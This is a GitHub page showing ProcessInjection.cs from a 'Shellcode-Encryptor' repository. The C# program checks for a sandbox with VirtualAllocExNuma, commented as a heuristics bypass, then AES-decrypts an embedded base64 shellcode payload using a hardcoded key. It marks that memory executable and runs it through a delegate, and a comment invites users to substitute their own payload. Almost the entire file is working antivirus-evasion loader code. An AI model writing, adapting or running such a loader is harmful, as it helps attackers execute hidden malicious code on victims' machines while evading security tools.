Shellcode-Encryptor/ProcessInjection.cs at master · plackyhacker/Shellcode-Encryptor · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
usingSystem;
usingSystem.Runtime.InteropServices;
usingSystem.Security.Cryptography;
usingSystem.Text;
usingSystem.IO;

namespaceProcessInjection
{
classProgram
{
publicenumProtection
{
PAGE_NOACCESS=0x01,
PAGE_READONLY=0x02,
PAGE_READWRITE=0x04,
PAGE_WRITECOPY=0x08,
PAGE_EXECUTE=0x10,
PAGE_EXECUTE_READ=0x20,
PAGE_EXECUTE_READWRITE=0x40,
PAGE_EXECUTE_WRITECOPY=0x80,
PAGE_GUARD=0x100,
PAGE_NOCACHE=0x200,
PAGE_WRITECOMBINE=0x400
}

[DllImport("kernel32.dll")]
staticexternboolVirtualProtect(IntPtrlpAddress,UIntPtrdwSize,uintflNewProtect,outuintlpflOldProtect);

[DllImport("kernel32.dll",SetLastError=true,ExactSpelling=true)]
staticexternIntPtrVirtualAllocExNuma(IntPtrhProcess,IntPtrlpAddress,uintdwSize,UInt32flAllocationType,UInt32flProtect,UInt32nndPreferred);

privatedelegateInt32ShellcodeDelegate();

staticvoidMain(string[]args)
{
Shellcode();
}

staticvoidShellcode()
{
// attempt heuristics/behaviour bypass
IntPtrmem=VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle,IntPtr.Zero,0x1000,0x3000,0x4,0);
if(mem==null)
{
return;
}

// decrypt the base64 payload - change these to your own encrypted payload and key
stringpayload="sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg";
stringkey="fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec";

byte[]buf=Decrypt(key,payload);

 unsafe
{
 fixed(byte*ptr=buf)
{
// set the memory as executable and execute the function pointer (as a delegate)
IntPtrmemoryAddress=(IntPtr)ptr;
VirtualProtect(memoryAddress,(UIntPtr)buf.Length,(UInt32)Protection.PAGE_EXECUTE_READWRITE,outuintlpfOldProtect);

ShellcodeDelegatefunc=(ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress,typeof(ShellcodeDelegate));
func();
}
}
}

privatestaticbyte[]Decrypt(stringkey,stringaes_base64)
{
byte[]tempKey=Encoding.ASCII.GetBytes(key);
tempKey=SHA256.Create().ComputeHash(tempKey);

byte[]data=Convert.FromBase64String(aes_base64);

// decrypt data
Aesaes=newAesManaged();
aes.Mode=CipherMode.CBC;
aes.Padding=PaddingMode.PKCS7;
ICryptoTransformdec=aes.CreateDecryptor(tempKey,SubArray(tempKey,16));

using(MemoryStreammsDecrypt=newMemoryStream())
{
using(CryptoStreamcsDecrypt=newCryptoStream(msDecrypt,dec,CryptoStreamMode.Write))
{

csDecrypt.Write(data,0,data.Length);

returnmsDecrypt.ToArray();
}
}
}

staticbyte[]SubArray(byte[]a,intlength)
{
byte[]b=newbyte[length];
for(inti=0;i<length;i++)
{
b[i]=a[i];
}
returnb;
}
}
}